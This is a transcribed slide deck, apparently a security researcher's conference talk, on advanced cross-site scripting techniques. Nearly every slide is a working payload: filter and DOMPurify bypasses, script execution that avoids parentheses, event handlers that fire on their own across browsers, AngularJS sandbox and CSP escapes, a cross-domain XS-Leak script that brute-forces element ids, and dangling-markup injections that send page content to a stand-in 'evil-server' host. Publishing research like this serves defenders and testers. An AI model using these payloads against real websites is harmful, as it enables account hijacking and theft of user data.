The document discusses various advancements in Cross-Site Scripting (XSS) techniques and vulnerabilities, detailing methods to bypass security filters and execute scripts in different browsers. It covers specific examples, such as exploiting HTML and SVG structures, using dangling markup, and leveraging events in JavaScript to trigger alerts. Additionally, it highlights how different browsers handle these vulnerabilities and presents auto-executing vectors that can be exploited across numerous HTML tags.

1. XSS magic tricks
Advancements in XSS
By Gareth Heyes
@garethheyes

2. • I ❤ hacking JavaScript
• I'm a researcher at PortSwigger
• Follow me on Twitter @garethheyes
About me
<a href=# name=x id=x>Click me on IE11</a>
<script event="onclick(blah)<wtfbbq>{}" for=x>
blah.view.alert(1)
</script>
<script event=onload for=window>
return alert(2)};{
</script>

3. Hacking filters

4. • Consuming tags
• title, noscript, style, script, noembed, textarea, plaintext,
template, iframe, noframes
• Template tag breaks out of select element
<noframes>
<img alt=" ">
</noframes>
<img alt=" ">
</noframes>
</noframes><script>alert(1)</script>
Hacking filters
<template><select><option></template><img
src=1 onerror=alert(1)></select></template>

5. • Title exists in SVG and HTML
• Title consumes markup in HTML but not in SVG
• HTML in SVG?
Hacking filters

6. Hacking filters
<svg>
<image>
<title>
<img title="</title><script>alert(1)</script>">
</title>
</svg>
🚫

7. Hacking filters
<svg>
<img>
<title>
<img title="</title><script>alert(1)</script>">
</title>
</svg>
✅

8. • Edge bug causes title mutate
• E.g.
in: <title>&lt;img&gt;
out:<title><img>
• I used this bug to bypass DOMPurify
• in: <x/><title>&lt;/title&gt;&lt;img src=1
onerror=alert(1)&gt;
out: <title></title><img src="1">
• What about double HTML encoded?
• in: <x/><title>&amp;lt;/title&amp;gt;&amp;lt;img src=1
onerror=alert(1)&amp;gt;
out: <title></title><img src=1 onerror=alert(1)></title>
Hacking filters

9. • Invalid attributes
<img ="/src/onerror=alert(1)//">
• HTML closing comments Firefox (version <=67)
<!-- --!
><img src=1 onerror=alert(1)> -->
• HTML opening comments Firefox (version 68.0.1)
<!-[x00][x00][x00][x00][x00]- ><div title="--><img
src=1 onerror=alert(1)>"></div>
Hacking filters

10. • Firefox allows NULLs in entities
• <a href="javascript&[0x00]#x6a;avascript:alert(1)">
test</a>
• <a href="javascript&[0x00]colon[0x00];alert(1)">
test</a>
Hacking filters

11. • Safari base tag
• <base href="javascript:/a/-alert(1)///////">
• Turns every relative URL into XSS
• <a href=../lol/safari.html>test</a>
• <a href>haha</a>
Hacking filters

12. XSS without parenthesis
and semi-colons

13. • Everyone knows about alert`1`
• I found you could do: onerror=alert;throw 1
• throw accepts a JavaScript expression
XSS without parenthesis and semi-colons

14. • JavaScript expressions
• x = (1,2);
x//2
• Right hand side of expression is returned
XSS without parenthesis and semi-colons

15. throw onerror=alert,'some string',
123,'haha'
• First part of the expression is executed sets the error handler
• Last part of the expression is sent to exception handler
XSS without parenthesis and semi-colons

16. • How can you eval a string?
• Prefixed with uncaught
• Change it to an assignment
throw onerror=eval,"=alertx281x29"
//Uncaught = alert(1)
XSS without parenthesis and semi-colons

17. {onerror=eval}
throw{lineNumber:1,
columnNumber:1,
fileName:1,
message:'alertx281x29'}
• Firefox prefixes exception message with:
uncaught exception: 1
• How can we get round this?
XSS without parenthesis and semi-colons

18. Hidden inputs

19. • XSS in hidden input
• Unexploitable when <> is filtered?
<input type="hidden" value="XSS HERE">
• Access keys to the rescue!
• "The accesskey global attribute provides a hint for generating a
keyboard shortcut for the current element." mdn
Hidden inputs

20. • Firefox allows onclick event + access keys
• <input type="hidden" accesskey="x"
onclick="alert(1)">
(ALT+SHIFT+X on Windows) (CTRL+ALT+X on OS X)
• Firefox only but the technique can be used on Chrome
Hidden inputs

21. Link elements

22. • Access keys can be used on Chrome
• Hidden inputs don't work
• Other elements link, meta etc do
<link rel="canonical" accesskey="X"
onclick="alert(1)" />
(ALT+SHIFT+X on Windows) (CTRL+ALT+X on OS X)
Link elements

23. Dangling markup

24. • Uses incomplete markup to extract parts of the page
• <img src='//evil-server?
• HTML parser finds an incomplete src attribute
• Looks for ' to close the attribute
Dangling markup

25. • Example dangling markup attacks
• <table><tfoot background="//evil-server?
• <link rel=icon href="//evil-server?
• <video><source src="//evil?
Dangling markup

26. • Chrome protects against dangling markup attacks
• "Resource requests whose URLs contained both removed
whitespace (`n`, `r`, `t`) characters and less-than characters
(`<`) are blocked." https://www.chromestatus.com/feature/
5735596811091968
• CSP will also block external requests if specified in the policy
Dangling markup

27. • Bypassing restrictive CSP & Chrome mitigations
• CSP: default-src 'none'; base-uri 'none';
• <base target="
• Sets target for every link
• The markup will get passed in the window name
Dangling markup

28. • <a href=//evil-server><font size=100 color=red>You
must click me</font></a><base target="
• Anchor points to evil server
• HTML styling is used to get round no inline styles
• Target consumes all markup until the " is found
• Clicking the link loads attackers server which reads
window.name that contains the consumed markup
Dangling markup

29. • Mitigation <base target="_self" />
• Prevents target being overwritten
• Bypass requires 2 clicks
• <input name=x type=hidden form=x
value="&lt;a href=//evil-server&gt;&lt;font
size=100 color=red&gt;Click me second&lt;/
font&gt;&lt;/a&gt;"><button form=x><font
size=100 color=red>Click me first</font></
button><form id=x target="
Dangling markup

30. Auto executing vectors

31. • Firefox onloadstart
<img src=1 onloadstart=alert(1)>
• Firefox onloadend
<img src=1 onloadend=alert(1)>
• <video><track default onload=alert(1) src="data:text/
vtt,WEBVTT"></video>
Auto executing vectors

32. • Chrome
<svg><discard onbegin=alert(1)>
• Safari
<svg><anything onload=alert(1)>
• General svg
<svg><animate onbegin=alert(1) attributename=x
dur=1s>
<svg><set onend=alert(1) attributename=x dur=1s>
<svg><animatetransform onrepeat=alert(1)
attributename=x dur=1s repeatcount=2>
Auto executing vectors

33. • <body onpageshow=alert(1)>
• <body onpopstate=alert(1)>
<iframe src=//x-domain.com onload="if(!window.flag)
{this.contentWindow.location='//x-domain.com/#';flag=1}">
• <body onhashchange="alert(1)">
<iframe src=//x-domain.com onload="if(!window.flag)
{this.contentWindow.location='//x-
domain.com#';window.flag=1;}">
• <body onmessage=alert(1)>
<script>
postMessage('test','*')
</script>
Auto executing vectors

34. • <body
onbeforeunload="location='javascript:alert(1)'">
<iframe src=//x-domain.com onload="if(!window.flag)
{this.contentWindow.location='//x-
domain.com#';flag=1}">
• <body onresize="alert(1)">
<iframe src=//x-domain.com
onload="this.style.width='1000px'">
• <body onscroll=alert(1)><div style=height:1000px></
div><div id=x></div>
Auto executing vectors

35. • <style>
@keyframes x{
}
</style>
<b style="animation-name:x"
onanimationstart="alert(1)"></b>
<b style="-webkit-animation-name:x"
onanimationstart="alert(1)"></b>
• Discovered by the legend Mario Heiderich
• Executes on every tag but requires an injected style
Auto executing vectors

36. • ontransitionend works on Chrome
• <style>
:target {
color:red;
}
</style>
<x id=x style="transition:color 1s"
ontransitionend=alert(1)>
• URL: page.html#x
Auto executing vectors

37. • ontransitionrun works on Firefox
• <style>
:target {
color:red;
}
</style>
<x id=y style="transition:color 2s"
ontransitionrun=alert(1)>
• URL: page.html
• URL: page.html#x
Auto executing vectors

38. • Firefox ontransitioncancel
• <style>
:target {
color: red;
}
</style>
<x id=x style="transition:color 10s"
ontransitioncancel=alert(1)>
• URL: page.html#
• URL: page.html#x
• URL: page.html#
Auto executing vectors

39. • Remember the classic vector?
<input autofocus onfocus=alert(1)>
• Autofocus required?
• Nope 😀 <input onfocus=alert(1) id=x>
• URL: page.html#x
Auto executing vectors

40. • onblur becomes auto executable (Every browser except Firefox)
• <input onblur=alert(1) id=x><input autofocus>
<textarea onblur=alert(1) id=x></textarea><input
autofocus>
<button onblur=alert(1) id=x></button><input
autofocus>
<select onblur=alert(1) id=x></select><input autofocus>
• URL: page.html#x
• Focus events fire for iframes too
• <body onblur=alert(1)><iframe id=x></iframe>
<iframe id=x onblur=alert(1)></iframe><input
autofocus>
Auto executing vectors

41. • <embed id=x onfocus=alert(1) type=text/html>
• <object id=x onfocus=alert(1) type=text/html>
• <video id=x controls onfocus=alert(1)>
<source src="validvideo.mp4" type=video/mp4>
</video>
• <audio id=x controls onfocus=alert(1) id=x>
<source src="validaudio.wav">
</audio>
Auto executing vectors

42. AngularJS

43. • Standard AngularJS sandbox escape:
{{constructor.constructor('alert(1)')()}}
• Can we make it shorter?
• {{$eval.constructor('alert(1)')()}}
• Shorter still?
{{$on.constructor('alert(1)')()}}
//Credits Lewis Ardern
AngularJS

44. • What if you can't call $eval? e.g. in a orderBy filter
• Can't use strings
• {{toString().constructor.prototype.charAt=[].join;
[1,2]|
orderBy:toString().constructor.fromCharCode(120,61,9
7,108,101,114,116,40,49,41)}}
AngularJS

45. • CSP bypass for all versions of AngularJS
• 63 characters!
• <input id=x ng-focus=$event.path|
orderBy:'CSS&&[1].map(alert)'>
• page.html#x
• Cross browser:
<input id=x ng-focus=$event.composedPath()|
orderBy:'CSS&&[1].map(alert)'>
AngularJS

46. XS-Leak

47. • Focus event fires for iframe, input etc
• Can we detect if this happens cross domain?
• If it can be detected then id's can be bruteforced x-domain
XS-Leak

48. • onblur event will be fired when cross domain element is
focused
• Hash can be checked multiple times with only 1 http request
• Requires a frame-able page
XS-Leak

49. XS-Leak
Cross domain input element
Same origin onblur event
Same origin, shows current position
<input id=1337>
<body onblur="if(!window.found){window.found=true;alert('Found:
'+pos)}">
<div id=y></div>

50. pos = 1000;found = false;
var iframe = document.createElement('iframe');iframe.src='//x-domain.com';
document.body.appendChild(iframe);iframe.onload = next;
function next() {
if(!found){
document.getElementById('y').textContent = pos;
iframe.src='//x-domain.com#'+pos;
timer = setTimeout(function(){
if(!found && pos < 2000) {
pos++;
}
next();
},50);
}
}
//http://portswigger-labs.net/x-domain_leak_focus_095FD68DF/
XS-Leak

51. Auto execute on every tag?

52. • "The tabindex global attribute indicates if its element can be
focused, and if/where it participates in sequential keyboard
navigation" mdn
• <a onfocus=alert(1) id=x tabindex=1>
• <div onfocus=alert(1) id=x tabindex=1>
• <xss onfocus=alert(1) id=x tabindex=1>
• page.html#x
Auto execute on every tag?

53. • Works on pretty much every tag
• Link works but requires display block
• <link onfocus=alert(1) id=x tabindex=1
style=display:block>
• Link works in the body but not head
Auto execute on every tag?

54. • <a onfocusin=alert(1) id=x tabindex=1>
• <div onfocusin=alert(1) id=x tabindex=1>
• <xss onfocusin=alert(1) id=x tabindex=1>
• <xss onfocusout=alert(1) id=x tabindex=1><input
autofocus>
• page.html#x
Auto execute on every tag?

55. • IE activate/beforeactivate event
• <a onactivate=alert(1) id=x tabindex=1>
• <div onactivate=alert(1) id=x tabindex=1>
• <xss onactivate=alert(1) id=x tabindex=1>
• <xss onbeforeactivate=alert(1) id=x tabindex=1>
• page.html#x
Auto execute on every tag?

56. • IE deactivate/beforedeactivate event
• <a ondeactivate=alert(1) id=x tabindex=1></
a><input id=y autofocus>
• <xss ondeactivate=alert(1) id=x tabindex=1></
xss><input id=y autofocus>
• <xss onbeforedeactivate=alert(1) id=x tabindex=1></
a><input id=y autofocus>
• page.html#x
• page.html#y
Auto execute on every tag?

59. Questions?
thanks and shout outs to
@garethheyes
James Kettle, Mario Heiderich, Eduardo Vela, Masato Kinugawa, Filedescriptor, LeverOne, Ben
Hayak, Alex Inführ, Mathias Karlsson, Jan Horn, Ian Hickey, Gábor Molnár, tsetnep, Psych0tr1a,
Skyphire, Abdulrhman Alqabandi, brainpillow, Kyo, Yosuke Hasegawa, White Jordan, Algol,
jackmasa, wpulog, Bolk, Robert Hansen, David Lindsay, Superhei, Michal Zalewski, Renaud
Lifchitz, Roman Ivanov, Frederik Braun, Krzysztof Kotowicz, Giorgio Maone, GreyMagic, Marcus
Niemietz, Soroush Dalili, Stefano Di Paola, Roman Shafigullin, Lewis Ardern, Michał Bentkowski
<img src=1 onerror="alert('Wait. What. IE/Edge')};while(true)sendMeToTheJSBlackHole();function lol(){">